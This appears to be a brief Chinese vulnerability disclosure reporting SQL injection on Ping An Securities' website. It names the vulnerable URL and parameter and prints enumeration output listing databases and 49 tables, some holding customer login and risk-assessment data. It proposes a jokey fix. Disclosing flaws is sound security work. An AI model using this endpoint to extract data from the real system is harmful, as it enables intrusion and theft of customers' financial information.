平安证券官网SQL注入可出数据偶尔看到 随手测试了下·
虽说是简单的SQL 毕竟是证券 涉及到数据也不太好吧
GET http://stock.pingan.com/jijinchaoshi/jijinxinwen/jijinnewinfo.iface?id=447239135223
available databases [8]:
[*] DBMGR
[*] DBQUA
[*] FOGLIGHT
[*] LBACSYS
[*] SISFWDATA
[*] SYS
[*] SYSTEM
[*] TOAD
Database: SISFWDATA
[49 tables]
+------------------------------+
| FST_INF_ANNOUNCEMENT |
| FST_INF_ASSETALLOCATION |
| FST_INF_CHARGERATE |
| FST_INF_DAILYQUOTE |
| FST_INF_DIVIDEND |
| FST_INF_FUNDARCHIVES |
| FST_INF_FUNDMANAGER |
| FST_INF_FUNDNEWS |
| FST_INF_INDUSTRY |
| FST_INF_INVESTADVISOROUTLINE |
| FST_INF_INVESTINDUSTRY |
| FST_INF_KEYSTOCKPORTFOLIO |
| FST_INF_NETVALUEPERFORMANCE |
| FST_INF_SECUMAIN |
| FST_INF_SHARESCHANGE |
| FST_INF_TRUSTEEOUTLINE |
| FST_JX_ANNOUNCEMENTTYPE |
| FST_JX_BASELINEYIELD |
| FST_JX_COMPANYABILITY |
| FST_JX_COMPANYABILITYRANK |
| FST_JX_COMPANYABILITYSTAR |
| FST_JX_COMPANYINDEX |
| FST_JX_CUSTOMEVALUATE |
| FST_JX_FQNVYIELD |
| FST_JX_FUNDABILITY |
| FST_JX_FUNDABILITYRANK |
| FST_JX_FUNDABILITYSTAR |
| FST_JX_FUNDINDEX |
| FST_JX_FUNDINSIDEINDEX |
| FST_JX_MANAGERABILITY |
| FST_JX_MANAGERABILITYRANK |
| FST_JX_MANAGERABILITYSTAR |
| FST_JX_MANAGERINDEX |
| FST_JX_MULTIRISK |
| FST_JX_POLICYPARAMADDRANGE |
| FST_JX_STOCKSTYLE |
| FST_JX_SXNETVALUE |
| FST_PAR_FUNDCATEGORYMASTE |
| FST_PAR_FUNDTOCATEGORY |
| FST_PAR_RISKINDEX |
| FST_PA_BANKFUNDTRANSSTATUS |
| FST_PA_CUSTOMANSWER |
| FST_PA_CUSTOMLOGIN |
| FST_PA_CUSTOMRISKGRADE |
| FST_PA_FUNDTRANSSTATUS |
| FST_PA_NEWFUND |
| FST_PA_RECOMMENDFUND |
| FST_PA_RISKEVALANSWER |
| FST_PA_RISKEVALQUESTION |
+------------------------------+
·未深入·
修复方案：多发点工资给安全部门的打工仔吧，他们肯定知道怎样修复漏洞的